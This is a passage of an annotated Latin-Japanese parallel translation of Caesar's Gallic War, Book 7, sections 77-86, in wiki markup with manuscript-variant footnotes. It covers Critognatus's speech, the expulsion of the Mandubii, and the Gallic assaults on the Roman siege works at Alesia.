**それらの一部は降伏を、
*pars dum vires suppeterent eruptionem censebat, 
**別の一部は、活動力が十分にある間に突撃することを考慮していた。
*non praetereunda oratio [[w:la:Critognatus|Critognati]] videtur propter eius singularem et nefariam crudelitatem. 
**クリトグナトゥスの演説は、彼の特異で非道な残酷さのために、看過されるべきではないと思われる。

&lt;br&gt;
'''クリトグナトゥスの演説が始まる'''
*③　Hic summo in Arvernis ortus loco et magnae habitus auctoritatis, 
**彼は、[[w:アルウェルニ族|アルウェルニー族]]において最高の身分に生まれ、大きな影響力を持つとみなされていた。

&lt;br&gt;
'''降伏論者は最低の輩だ'''
*&quot;Nihil&quot; inquit &quot;de eorum sententia dicturus sum, qui turpissimam servitutem deditionis nomine appellant, 
**「最も恥ずべき隷属を降伏という名で呼んでいる者たちの意見については、（私は）何も述べないであろう」と言った。
*neque hos habendos civium loco neque ad concilium adhibendos censeo. 
**「この者たちは市民の身分を持つべきではないし、会合へ招き入れられるべきでもない、と（私は）考える。

&lt;br&gt;
'''突撃論者には辛抱が欠けている'''
*④　Cum his mihi res sit, qui eruptionem probant; 
**突撃に賛同した者たちとともに、私の関わりはあるべきだ。
*quorum in consilio omnium vestrum consensu 
**その者たちの考えには、君たち皆の同意があるだろうし、
*pristinae residere virtutis memoria videtur. 
**かつての武勇の記憶が残っていることと思われる。
*⑤　Animi est ista mollitia, non virtus, paulisper inopiam ferre non posse. 
**しばらくの間も（糧食の）欠乏に耐えることができない（君らの）ことは、気の弱さであって、武勇ではない。
*Qui se ultro morti offerant facilius reperiuntur quam qui dolorem patienter ferant. 
**自発的に玉砕して逝った者たちは、苦痛に辛抱強く耐えた者たちよりも、より容易に見出されるのだ。
*⑥　Atque ego hanc sententiam probarem ─tantum apud me dignitas potest─, 
**しかし私は（突撃という）この意見に賛同したであろう。それほど、私にとっても価値がある。
*si nullam praeterquam vitae nostrae iacturam fieri viderem; 
**（ただし）もし、我々（ガッリア勢）の生命が投げ出されること以外に（方策が）何もないと思ったならばだ。
*⑦　sed in consilio capiendo omnem Galliam respiciamus, quam ad nostrum auxilium concitavimus. 
**けれども、作戦を立てるに当たっては、我々のために援軍を（我々が）呼び寄せた全ガッリアを顧慮しよう。
*⑧　Quid hominum milibus LXXX(octoginta) uno loco interfectis 
**（我々ガッリア勢）8万の人間が（アレスィア）1か所で殺戮されたら、
*propinquis consanguineisque nostris animi fore existimatis, 
**我々の親類縁者たちの士気はどうなると（君らは）判断しているのか。
*si paene in ipsis cadaveribus proelio decertare cogentur? 
**もし、ほとんど（我々）自身の亡骸の中で（味方が）決戦することを強いられたら？
*⑨　Nolite hos vestro auxilio exspoliare qui vestrae salutis causa suum periculum neglexerunt, 
**君らの身の安全のために、己の危険を顧みなかった者たちのことを、君らが援助すること（の機会）を奪わないでくれ。
*nec stultitia ac temeritate vestra aut animi imbecillitate omnem Galliam prosternere et perpetuae servituti subicere. 
**君らの愚かさや無思慮、または心の弱さによって、全ガッリアを滅ぼすことや永久の隷属に委ねることがないように。

&lt;br&gt;
'''ローマ人たちが恐れているのを見よ'''
*⑩　An quod ad diem non venerunt, de eorum fide constantiaque dubitatis? 
**それとも（援軍が）期日までにやって来なかったので、彼らの誠実さや剛直さについて（君らは）疑っているのか？
*Quid ergo? 
**それでは（あれは）何だ？
*Romanos in illis ulterioribus munitionibus animine causa cotidie exerceri putatis? 
**ローマ人たちがあの向こう側の塁壁のところで、趣味のために毎日たえず働かされていると（君らは）思うのか？
*⑪　Si illorum nuntiis confirmari non potestis omni aditu praesaepto, 
**もし、すべての出入口を（防柵で）遮られて、（援軍の到来を）彼らの伝令により（君らが）確証できないのならば、
*his utimini testibus adpropinquare eorum adventum, 
**こちらの者たち（ローマ人）を、彼ら（援軍）の到来が近づいている証人として示せ。
*cuius rei timore exterriti diem noctemque in opere versantur. 
**（援軍の到来という）その事態の恐れに戦慄して（ローマ人たちは）昼も夜も工事に従事しているのだ。

&lt;br&gt;
'''クリトグナトゥスの意見は？'''
*⑫　Quid ergo mei consilii est? 
**それでは、私の考えは何であるか？
*Facere quod nostri maiores nequaquam pari bello Cimbrorum Teutonumque fecerunt: 
**我々の先祖たちが（今回とは）決して比べものにならない[[w:キンブリ・テウトニ戦争|キンブリ族・テウトニ族との戦争]]でしたことをするのだ。
*qui in oppida compulsi ac simili inopia subacti 
**彼ら（先祖たち）は、[[w:オッピドゥム|城塞都市]]に押し込められて、（今回と）似たような欠乏により衰弱させられて、
*eorum corporibus, qui aetate ad bellum inutiles videbantur, vitam toleraverunt 
**加齢により戦争に役立たないと思われた者たちの肉体（を食べること）によって、生命を持ちこたえて、
*neque se hostibus tradiderunt. 
**敵方に降伏しなかったのだ。
*⑬　Cuius rei si exemplum non haberemus, 
**もし、そういう事態の先例を我々が持たなかったとしても、
*tamen libertatis causa institui et posteris prodi pulcherrimum iudicarem. 
**けれども、自由のために、最も栄誉なことが決断され、子孫たちに伝えられることと、私は思いたい。
*⑭　Nam quid illi simile bello fuit? 
**実際、あの戦争に（今回と）似ている何があっただろうか？
*Depopulata Gallia Cimbri magnaque inlata calamitate 
**キンブリ族はガッリアを荒らしまわって、大きな災禍をもたらしたが、
*finibus quidem nostris aliquando excesserunt atque alias terras petierunt; 
**あるとき我々の領土から立ち去って、他の土地を求めて行った。
*iura, leges, agros, libertatem nobis reliquerunt. 
**権限、法度、耕地、自由を我々（ガッリア人）に残して行ったのだ。
*⑮　Romani vero quid petunt aliud aut quid volunt 
**しかし、ローマ人たちは（以下に挙げることの）他に何を求め、何を欲しているのだろうか。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：「しかし、ローマ人が求め、欲しているのは、以下のことである」の意。）&lt;/span&gt;
*nisi invidia adducti quos fama nobiles potentesque bello cognoverunt, 
**高貴で戦争に力強い（ガッリアの）者たちを名声で知って羨望に駆られた以外には、
*horum in agris civitatibusque considere atque his aeternam iniungere servitutem? 
**彼らの土地や部族共同体に居座って、彼らを永遠の隷属を課すること以外には。
*Neque enim ulla alia condicione bella gesserunt. 
**実際、（ローマ人は）他のいかなる条件でも決して戦争を遂行したことがなかった。
*⑯　Quodsi ea quae in longinquis nationibus geruntur ignoratis, 
**もし、遠方の種族のところでなされていることを（君らが）知らないのであれば、
*respicite finitimam Galliam, 
**ガッリアの隣人たちを見渡しなさい。
*quae in provinciam redacta, 
**（彼らはローマの）[[w:属州|属州]]になることを余儀なくされ、
*iure et legibus commutatis, 
**権限や法度を変えられて、
*securibus subiecta perpetua premitur servitute.&quot;
**（ローマの）権力に服属させられて、永久の隷属に苦しめられているのだ。

===78節===
'''マンドゥビイ族の投降をカエサルが拒む'''
*①　Sententiis dictis 
**（いくつかの）意見が述べられて、
*constituunt ut ii, qui valetudine aut aetate inutiles sunt&lt;ref&gt;sunt はα系写本の記述で、β系写本では sint となっている。&lt;/ref&gt; bello, oppido excedant 
**（ガッリア人たちは）健康または年齢により戦争に役立たない者たちは[[w:オッピドゥム|城塞都市]]を退去するように決めた。
*atque omnia prius experiantur quam ad Critognati sententiam descendant; 
**さらに、クリトグナトゥスの意見に同意するよりも、まずあらゆることを試みるように（決めた）。
*②　illo tamen potius utendum consilio, 
**けれども（以下の場合には）むしろ彼（クリトグナトゥス）の意見を実行するべきだ。
*si res cogat atque auxilia morentur, 
**もし、事態が強いて、援軍が遅滞させられるのならば、
*quam aut deditionis aut pacis subeundam condicionem. 
**降伏あるいは講和条件を受諾することよりも（クリトグナトゥスの意見を実行するべきだ）、と。
*③　Mandubii qui eos oppido receperant, 
**彼ら（ガッリア勢）を城塞都市に受け入れていたマンドゥビイ族は、
*cum liberis atque uxoribus exire coguntur. 
**子供たちや妻女たちとともに（城塞都市から）出て行くことを強いられた。
*④　Hi cum ad munitiones Romanorum accessissent, 
**彼らは、ローマ人たちの塁壁のところへ近づいたときに、
*flentes omnibus precibus orabant, ut se in servitutem receptos cibo iuvarent. 
**自分たちを奴隷として受け入れて食糧で助けてくれるように、泣きながらあらゆる懇願で頼んだ。
*⑤　At Caesar dispositis in vallo custodibus&lt;ref&gt;custodibus はα系写本の記述で、β系写本では custodiis となっている。&lt;/ref&gt; recipi prohibebat.
**だが、カエサルは、防柵の中に番兵を分けて置き、（マンドゥビイ族を）受け入れることを禁じた。

===79節===
'''ガッリア同盟軍の来援、アレスィアの歓呼'''
*①　Interea Commius reliquique duces, quibus summa imperii permissa erat, 
**その間に、最高司令権を任されていた[[w:コンミウス|コンミウス]]とほかの将帥たちが、
*cum omnibus copiis ad Alesiam perveniunt 
**すべての軍勢とともに[[w:アレシア|アレスィア]]の辺りへ到着して、
*et colle exteriore occupato 
**より外側の丘陵を占拠して、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：現在のミュスィ＝ラ＝フォス村 [[w:fr:Mussy-la-Fosse|Mussy-la-Fosse]]&lt;ref&gt;[http://maps.google.com/maps?q=47.521944,4.438611&amp;hl=fr&amp;ie=UTF8&amp;ll=47.522012,4.438648&amp;spn=0.01849,0.027423&amp;t=h&amp;z=15 Google map]を参照。&lt;/ref&gt; のある丘陵であると思われる。）&lt;/span&gt;
*non longius mille passibus ab nostris munitionibus considunt. 
**我が方（ローマ勢）の塁壁から1ローママイル（約1.5km）ほども遠くないところに陣取った。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：現在のヴナレ＝レ＝ローム [[w:fr:Venarey-les-Laumes|Venarey-les-Laumes]] 市街&lt;ref&gt;[http://maps.google.com/maps?q=47.542778,4.445833&amp;hl=fr&amp;ie=UTF8&amp;ll=47.543106,4.458475&amp;spn=0.036965,0.054846&amp;t=h&amp;z=14 Google map]を参照。&lt;/ref&gt;の周辺であると思われる。）&lt;/span&gt;
*②　Postero die equitatu ex castris educto 
**翌日に、[[w:騎兵|騎兵隊]]が陣営から進発させられて、
*omnem eam planitiem quam in longitudinem milia passuum III(tria)&lt;ref&gt;milia passuum III はβ系写本の記述で、α系写本では quattuor milia passuum などとなっている。&lt;/ref&gt; patere demonstravimus, complent 
**3ローママイル（約4.5km）の長さにわたり広がっていることを既述した平地のすべてを、満たした。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#69節|69節]]を参照。現在のローム平原に当たると思われる。）&lt;/span&gt;
*pedestresque copias paulum ab eo loco abditas in locis superioribus constituunt. 
**[[w:歩兵|歩兵]]の軍勢を、その地からいくらか遠ざけて、より高いところに駐留させた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：上記の丘陵のより高い所であると思われる。）&lt;/span&gt;
*③　Erat ex oppido Alesia despectus in campum. 
**アレスィアの[[w:オッピドゥム|城塞都市]]からは（その）平地に眺望があった。
*Concurrunt&lt;ref&gt;concurrunt はα系写本の記述で、β系写本では concurritur となっている。&lt;/ref&gt; his auxiliis visis; 
**これらの援軍が現われると（アレスィアのガッリア人たちは）群がり集まった。
*fit gratulatio inter eos 
**彼らの間で祝賀がなされて、
*atque omnium animi ad laetitiam excitantur. 
**皆の心が喜びへと鼓舞された。
*④　Itaque productis copiis ante oppidum considunt 
**こうして（アレスィアの）軍勢が出撃させられて、城塞都市の前に陣取って、
*et proximam fossam cratibus integunt atque aggere explent 
**最も近い堀を、柴で蔽って、土砂を充満させて、
*seque ad eruptionem atque omnes casus comparant.
**突撃やあらゆる有事に戦備を整えた。

===80節===
'''ゲルマニア騎兵らローマ勢が来援ガッリア騎兵をも打ち破る'''
*①　Caesar omni exercitu ad utramque partem munitionum&lt;ref&gt;munitionum はα系写本の記述で、β系写本では munitionis となっている。&lt;/ref&gt; disposito, 
**カエサルは、すべての[[w:歩兵|歩兵隊]]を、塁壁の（内周と外周）両側に分けて置き、
*ut, si usus veniat, suum quisque locum teneat et noverit, 
**もし、必要が生じたら、おのおのが自らの部署を知って固守するようにした。
*equitatum ex castris educi et proelium committi iubet. 
**[[w:騎兵|騎兵隊]]を陣営から進発させて、交戦することを命じた。
*②　Erat ex omnibus castris, quae summum undique iugum tenebant, despectus 
**至る所で尾根の頂きを占めていた（ローマ勢の）すべての陣営から（騎兵戦の）眺望があった。
*atque omnes milites intenti&lt;ref&gt;intenti はα系写本の記述で、β系写本では intenti animi、Fuchs は intentis animis と修正提案している。&lt;/ref&gt; pugnae proventum&lt;ref&gt;pugnae proventum はα系写本の記述で、β系写本では proventum pugnae となっている。&lt;/ref&gt; exspectabant. 
**すべての兵士たちは（観戦に）没頭して、戦いの結果を待っていた。
*③　Galli inter equites raros sagittarios expeditosque levis armaturae interiecerant, 
**ガッリア人たちは、弓兵たちと軽装歩兵たちをまばらに、騎兵たちの間に置いていて、
*qui suis cedentibus auxilio succurrerent 
**その者たち（弓兵と軽装歩兵）は、味方が後退するのを支援するために馳せ寄って、
*et nostrorum equitum impetus sustinerent. 
**我が方（ローマ勢）の騎兵の突撃に持ちこたえていた。
*Ab his complures de improviso vulnerati proelio excedebant. 
**彼らによって（ローマ側騎兵の）かなりの者たちが、思いがけず負傷させられて、戦闘から退いた。
*④　Cum suos pugna superiores esse Galli confiderent 
**ガッリア人たちが、味方が戦いで優勢であることを確信したとき、
*et nostros multitudine premi viderent, 
**かつ、我が方（ローマ勢）が多勢（のガッリア騎兵）により圧倒されているのを見て取ったときに、
*ex omnibus partibus et ii qui munitionibus continebantur 
**あらゆる方面から（ローマ勢の）塁壁によって囲まれていた者たちも、
*et hi&lt;ref&gt;hi はφ系･β系写本の記述で、χ系写本では ii となっている。&lt;/ref&gt; qui ad auxilium convenerant 
**（アレスィア）救援のために集結して来ていた者たちも、
*clamore et ululatu suorum animos confirmabant. 
**大声やわめき声によって味方の闘志を強めた。
*⑤　Quod in conspectu omnium res gerebatur 
**（両軍の）皆の環視の中で合戦が遂行されたので、
*neque recte ac&lt;ref&gt;ac はα系･π系写本の記述で、ρ系写本では aut となっている。&lt;/ref&gt; turpiter factum celari poterat, 
**立派な行為または見苦しい行為も隠されることができなかったので、
*utrosque et laudis cupiditas et timor ignominiae ad virtutem excitabant&lt;ref&gt;excitabant はB･M･L･N･R写本などの記述で、χ系･B･S･π系･U写本などでは excitabat となっている。&lt;/ref&gt;. 
**賞賛への功名心も、不名誉への恐れも、双方を武勇へと駆り立てた。
*⑥　Cum a meridie prope ad solis occasum dubia victoria pugnaretur, 
**正午から、ほぼ日没の頃まで、勝利が不確実なまま戦われていたときに、
*Germani una in parte confertis turmis 
**ゲルマニア人たちが、騎兵部隊を一か所に密集させて、
*in hostes impetum fecerunt eosque propulerunt; 
**敵方に突撃を行ない、彼ら（ガッリア騎兵）を駆逐した。
*⑦　quibus in fugam coniectis 
**その者たち（ガッリア騎兵）は逃亡に追いやられて、
*sagittarii circumventi interfectique sunt. 
**弓兵たちは包囲されて殺戮された。
*⑧　Item ex reliquis partibus nostri cedentes usque ad castra insecuti 
**我が方（ローマ勢）の残りの部隊も、撤退する（ガッリア騎兵の）者たちを陣営のところまで追撃して、
*sui colligendi facultatem non dederunt. 
**立ち直る機会を与えなかった。
*⑨　At ii qui ab [[w:la:Alesia|Alesia]] processerant, 
**そして、[[w:アレシア|アレスィア]]から進み出ていた者たちは、
*maesti prope victoria desperata se in oppidum receperunt.
**ほとんど絶望的な勝利に悲嘆して、城塞都市に退却した。

===81節===
'''ガッリア来援軍と籠城軍がローマ陣地に夜襲をしかける'''
*①　Uno die intermisso Galli 
**ガッリア人たちは一日を間に置いて、
*atque hoc spatio magno cratium, scalarum, harpagonum numero effecto 
**この間に、多数の柴、[[w:梯子|梯子]]、鉤竿を調達して、
*media nocte silentio ex castris egressi 
**真夜中に静けさのうちに陣営から進発して、
*ad campestres munitiones accedunt. 
**平地の（ローマ勢の）塁壁の辺りへ近づいた。
*②　Subito clamore sublato, qua significatione 
**突然に雄叫びを上げて、それを合図として、
*qui in oppido obsidebantur de suo adventu cognoscere possent, 
**[[w:オッピドゥム|城塞都市]]の中に包囲されている者たちが、自分たちの到来について認識できるようにした。
*crates proicere, fundis, sagittis, lapidibus nostros de vallo proturbare 
**柴を投げ込み、投石器で、矢で、石でもって我が方（ローマ勢）を防柵から追い出すこと、
*reliquaque quae ad oppugnationem pertinent parant administrare. 
**（塁壁の）攻略のために役立つほかのことに従事すること、を目論んだ。
*③　Eodem tempore clamore exaudito 
**同時に（来援軍の）雄叫びを聞き取って、
*dat tuba signum suis [[w:la:Vercingetorix|Vercingetorix]] atque ex oppido educit. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、麾下の者たちにラッパで指図を与えて、城塞都市から進発させた。
*④　Nostri, ut superioribus diebus, suus cuique&lt;ref&gt;suus cuique はβ系写本の記述で、χ系･B･M･S写本では ut cuique となっている。&lt;/ref&gt; erat locus attributus, ad munitiones accedunt; 
**我が方（ローマ勢）は、以前の日々に、おのおのの部署が割り当てられており、塁壁のところへ近寄った。
*fundis librilibus sudibusque, quas in opere disposuerant, ac glandibus Gallos proterrent. 
**堡塁に分配されていたポンド投石器や杭、並びに玉によって、ガッリア人たちを追い払った。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：librilis funda「ポンド投石器」；古代ローマの1ポンド [[w:la:Libra pondus|libra]] は約327グラム&lt;ref&gt;[[w:en:Ancient Roman units of measurement#Weight]]を参照。&lt;/ref&gt;。）&lt;/span&gt;
*⑤　Prospectu tenebris adempto multa utrimque vulnera accipiuntur. 
**眺望が暗闇により奪われて、双方が多くの傷を蒙った。
*Complura tormentis tela coniciuntur. 
**かなり多くの飛び道具が（巻上式）投石機によって投じられた。
*⑥　At [[w:la:Marcus Antonius|M.(Marcus) Antonius]] et [[w:la:Gaius Trebonius|C.(Gaius) Trebonius]] legati, 
**[[w:マルクス・アントニウス|マルクス・アントニウス]]と[[w:ガイウス・トレボニウス|ガイウス・トレボニウス]] [[w:レガトゥス|両副官]]は、
*quibus hae partes ad defendendum obvenerant, 
**この方面を防衛するために割り当てられていたが、
*qua ex parte nostros premi intellexerant, 
**我が方（ローマ勢）が押されぎみであると見なした一帯のために、
*his auxilio ex ulterioribus castellis deductos submittebant.
**この者たちを支援するために、向こう側の砦から引き出した者たちを（援兵として）派遣した。

===82節===
'''アレスィア内外のガッリア勢が障害物に阻まれて退く'''
*①　Dum longius ab munitione aberant Galli, 
**ガッリア人たちは（ローマ勢の）塁壁から遠くに離れていた間は、
*plus multitudine telorum proficiebant; 
**飛び道具の多さによって、前進していた。
*posteaquam propius successerunt, 
**（塁壁の方へ）さらに近くに進入して来た後では、
*aut se ipsi&lt;ref&gt;ipsi はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; stimulis inopinantes induebant 
**あるいは、思いがけず自ら「刺」に陥り、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：stimulus「刺」については、[[#73節|73節]]⑨項を参照。）&lt;/span&gt;
*aut in scrobes delati transfodiebantur 
**あるいは、穴に陥落して（「百合」で）突き刺されたり、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：「穴」と「百合」については、[[#73節|73節]]⑤～⑧項を参照。）&lt;/span&gt;
*aut ex vallo ac turribus traiecti pilis muralibus interibant. 
**あるいは、防柵や櫓から[[w:ピルム・ムーリアリス|防壁槍]]で射抜かれて逝った。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：防壁槍については、[[ガリア戦記 第5巻#40節|第5巻40節]]を参照。）&lt;/span&gt;
*②　Multis undique vulneribus acceptis 
**（ガッリア勢は）至る所で多くの傷を負ったが、
*nulla munitione perrupta, 
**どの（ローマ側の）塁壁も突破されなかった。
*cum lux appeteret, 
**&lt;ruby&gt;&lt;rb&gt;暁光&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぎょうこう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が（空を）染めたとき、
*veriti ne ab latere aperto ex superioribus castris eruptione circumvenirentur, 
**開けた側面から、（ローマ勢の）高所の陣営からの突撃によって包囲されないようにと怖れて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：開けた側面とは、盾で守られていない右側のこと。）&lt;/span&gt;
*se ad suos receperunt. 
**味方のところへ退却した。
*③　At interiores 
**それに対して、（アレスィア攻囲の）内側の者たちは、
*dum ea quae a [[w:la:Vercingetorix|Vercingetorige]] ad eruptionem praeparata erant&lt;ref&gt;praeparata erant は、写本(ω)ではpraeparaverant だが、このように修正提案されている。あるいは、a Vercingetorige が削除提案されている。&lt;/ref&gt; proferunt, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]により、突撃のために準備していたものを運び出して
*priores fossas explent, 
**一番前の堀を埋めている間に、
*diutius in his rebus administrandis morati 
**これらの事に従事することに、より長く妨げられて、
*prius suos discessisse cognoverunt quam munitionibus adpropinquarent. 
**塁壁に近づくよりも前に味方（＝来援軍）が退去したことを知ったのだ。
*Ita re infecta in oppidum reverterunt.
**こうして、事は達成されていないものの、[[w:オッピドゥム|城塞都市]]に引き返した。

===83節===
'''ウェルカッスィウェッラウヌスが兵6万を率いて急所の丘へ向かう'''
*①　Bis magno cum detrimento repulsi Galli 
**大きな損害とともに二度も撃退されたガッリア人たちは、
*quid agant consulunt; 
**何をなすべきかを協議した。
*locorum peritos adhibent; 
**（その）土地に熟知した者たちを招いた。
*ex his superiorum castrorum situs munitionesque cognoscunt. 
**この者たちから、（ローマ勢の）高いところの陣営の位置や塁壁を調べ上げた。
*②　Erat a septentrionibus collis, 
**（アレスィアの）北方に丘陵があって、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：これは現在のレア山 le Mont R&amp;eacute;a であると思われ、山頂にはメネルー＝ル＝ピトワ村&lt;ref&gt;[[w:fr:Ménétreux-le-Pitois]]や[http://maps.google.fr/maps?f=q&amp;hl=fr&amp;geocode=&amp;q=m%C3%A9n%C3%A9treux+le+pitois&amp;sll=42.423457,8.789063&amp;sspn=23.611541,40.957031&amp;ie=UTF8&amp;t=h&amp;hq=&amp;hnear=M%C3%A9n%C3%A9treux-le-Pitois,+C%C3%B4te-d'Or,+Bourgogne&amp;ll=47.55475,4.460106&amp;spn=0.018507,0.010042&amp;z=15 Google map]などを参照。&lt;/ref&gt;がある。）&lt;/span&gt;
*quem propter magnitudinem circuitus 
**その周囲の大きさのために、
*opere circumplecti non potuerant nostri, 
**我が方（ローマ勢）は、堡塁により囲い込むことができずにいた。
*necessarioque&lt;ref&gt;-que はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; paene iniquo loco et leniter&lt;ref&gt;leniter はπ系写本の記述で、α系･ρ系写本では leviter となっている。&lt;/ref&gt; declivi castra fecerunt&lt;ref&gt;fecerunt はα系写本の記述で、β系写本では fecerant となっている。&lt;/ref&gt;. 
**やむをえず、ほとんど不利でゆるやかに傾斜した地点に陣営を造った。
*③　Haec C.(Gaius) Antistius Reginus et C.(Gaius) Caninius Rebilus legati 
**これを、ガーイウス・アンティスティウス・レーギーヌスとガイウス・カニニウス・レビルス [[w:レガトゥス|両副官]]が
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''[[w:fr:Caius Antistius Reginus|Gaius Antistius Reginus]]'' は[[ガリア戦記_第6巻#1節|第6巻1節]]で既出。[[#90節|90節]]で後出。）&lt;/span&gt;
*cum duabus legionibus obtinebant. 
**2個軍団とともに占めていた。
*④　Cognitis per exploratores regionibus duces hostium 
**敵方の将帥たちは、偵察者たちを通じて一帯を調べ上げて、
*LX(sexaginta) milia ex omni numero deligunt 
**総員のうちから6万名を選抜した。
*earum civitatum quae maximam virtutis opinionem habebant; 
**武勇において大きな評判を得ている部族のうち（から選抜した）。
*⑤　quid quoque pacto agi placeat, occulte inter se constituunt; 
**何が、どんな方法で行なわれるのがよいか、互いに密かに取り決めた。
*adeundi tempus definiunt, cum meridie&lt;ref&gt;meridie は中世の写本(ω)の記述であるが、近世の写本(ς)では meridies となっている。&lt;/ref&gt; esse videatur. 
**正午であると思われる頃を突撃する時と定めた。
*⑥　His copiis Vercassivellaunum Arvernum, 
**この軍勢を、[[w:アルウェルニ族|アルウェルニー族]]のウェルカッスィウェッラウヌス、
*unum ex quattuor ducibus, propinquum [[w:la:Vercingetorix|Vercingetorigis]], praeficiunt. 
**（すなわち）4人の将帥たちの1人で、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の親族である者に、指揮させた。
*⑦　Ille ex castris prima vigilia egressus 
**彼（ウェルカッスィウェッラウヌス）は、陣営から第一夜警時に進発して、
*prope confecto sub lucem itinere 
**夜明け前にほぼ行軍が成し遂げられて、
*post montem se occultavit 
**山の後ろに身を隠して、
*militesque ex nocturno labore sese reficere iussit. 
**兵士たちに夜間の疲労を回復しておくことを命じた。
*⑧　Cum iam meridies adpropinquare videretur, 
**すでに正午に近付いていると思われたときに、
*ad ea castra, quae supra demonstravimus, contendit; 
**前に述べた陣営のところへ急いだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：本節②項を参照。）&lt;/span&gt;
*eodemque tempore equitatus ad campestres munitiones accedere 
**同時に（ガッリア来援軍の）[[w:騎兵隊|騎兵隊]]が平地の（ローマ勢の）塁壁のところへ近付き、
*et reliquae copiae pro castris sese ostendere coeperunt.
**残りの軍勢が陣営の前に姿を現わし始めた。

===84節===
'''ウェルキンゲトリークスらアレスィア籠城軍も善戦する'''
*①　[[w:la:Vercingetorix|Vercingetorix]] ex arce [[w:la:Alesia|Alesiae]] suos conspicatus ex oppido egreditur; 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、[[w:アレシア|アレスィア]]の高台から味方を望見して、[[w:オッピドゥム|城塞都市]]から進発した。
*a castris&lt;ref&gt;a castris はβ系写本の記述で、α系写本では単に castris となっている。&lt;/ref&gt;, longurios, musculos, falces 
**陣営から、長い竿、小屋、破城鎌や、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：falx「破城鎌」については、[[ガリア戦記 第5巻#42節|第5巻42節]]を参照。）&lt;/span&gt;
*reliquaque quae eruptionis causa paraverat profert. 
**（塁壁を）突破するために準備していたほかのものを運び出した。
*②　Pugnatur uno tempore omnibus locis atque omnia temptantur; 
**一時にあらゆる場所で戦われて、あらゆることが試みられた。
*quae minime visa pars firma est, huc concurritur. 
**あまり堅固ではないと思われる部分、ここへ襲いかかった。
*③　Romanorum manus tantis munitionibus distinetur 
**ローマ人の手勢は、これほどの（長大な）塁壁により離して置かれていて、
*nec facile pluribus locis occurrit. 
**より多くの場所には容易に駆け付けられなかった。
*④　Multum ad terrendos nostros valet clamor qui post tergum pugnantibus exstitit, 
**戦っている者たちの背後で生じた雄叫びは、我が方（ローマ勢）を怖れさせるために大いに力があった。
*quod suum periculum in aliena vident virtute&lt;ref&gt;virtute「武勇」 はβ系写本の記述で、α系写本では salute「安全」 となっている。&lt;/ref&gt; constare; 
**というのは、自分たち（ローマ勢）の危険が他人（ガッリア勢）の武勇に依拠していると思ったから。
*omnia enim plerumque, quae absunt, vehementius hominum mentes perturbant.
**なぜなら（そこに）不在であるものすべてはたいてい、人間の心を激しく混乱させるものであったからである。

===85節===
'''ウェルカッスィウェッラウヌスが急所の丘を攻める'''
*①　Caesar idoneum locum nactus 
**カエサルは適当な場所を得て，
*quid quaque in&lt;ref&gt;quaque in はβ系写本の記述で、α系写本では qua ex となっている。&lt;/ref&gt; parte geratur cognoscit; 
*何が各方面でなされているのかを認識した。
*laborantibus submittit. 
**苦戦している者たちに（援兵を）派遣した。
*②　Utrisque ad animum occurrit unum esse illud tempus, quo maxime contendi conveniat: 
**双方にとって、最も雌雄を決するべきはこの時のみであるということが、心に生じた。
*③　Galli, nisi perfregerint munitiones, de omni salute desperant; 
**ガッリア人たちは、（ローマ人の）塁壁を突破しない限り、あらゆる身の安全に絶望することになる。
*Romani, si rem obtinuerint, finem laborum omnium exspectant. 
**ローマ人は、もし事を成就したら、すべての労苦の終わるということを期待した。
*④　Maxime ad superiores munitiones laboratur, quo [[w:la:Vercassivellaunus|Vercassivellaunum]] missum demonstravimus. 
**ウェルカッスィウェッラウヌスが派遣されたと既述した、より高い塁壁の辺りで（ローマ勢は）とりわけ苦戦した。
*Iniquum loci ad declivitatem fastigium magnum habet momentum. 
**けわしい地形の不利な傾斜が（ローマ勢にとって）大きな影響力を持った。
*⑤　Alii tela coniciunt, alii testudine facta subeunt; 
**（ガッリア勢の）ある者は飛び道具を投げやって、ある者は[[w:テストゥド|亀甲陣形]]を形成して突き進んだ。
*defatigatis invicem integri succedunt. 
**疲労させられた者たちに対しては、新手の者たちが交代した。
*⑥　Agger ab universis in munitionem coniectus 
**土が総勢により（ローマ人の）塁壁に投じられて、
*et ascensum dat Gallis 
**ガッリア人たちに登り道を与えもしたし、
*et ea, quae in terra occultaverant Romani, contegit; 
**ローマ人たちが地中に隠しておいたもの（障害物）を埋め込んでしまった。
*nec iam arma nostris nec vires suppetunt.
**我が方（ローマ勢）には、もはや武器も活力も十分になかった。

===86節===
'''危急存亡の秋、両軍の苦闘'''
*①　His rebus cognitis 
**これらの事態を知って、
*Caesar [[w:la:Titus Labienus|Labienum]] cum cohortibus sex subsidio laborantibus mittit; 
**カエサルは、[[w:ティトゥス・ラビエヌス|ラビエーヌス]]を6個&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;とともに援兵として苦戦している者たちへ派遣した。
*②　imperat, si sustinere non possit&lt;ref&gt;possit はχ系･B･M･S･β系写本の記述で、L･N写本では posset となっている。&lt;/ref&gt;, deductis cohortibus eruptione pugnaret&lt;ref&gt;pugnaret はα系写本の記述で、β系写本では pugnet となっている。&lt;/ref&gt;; 
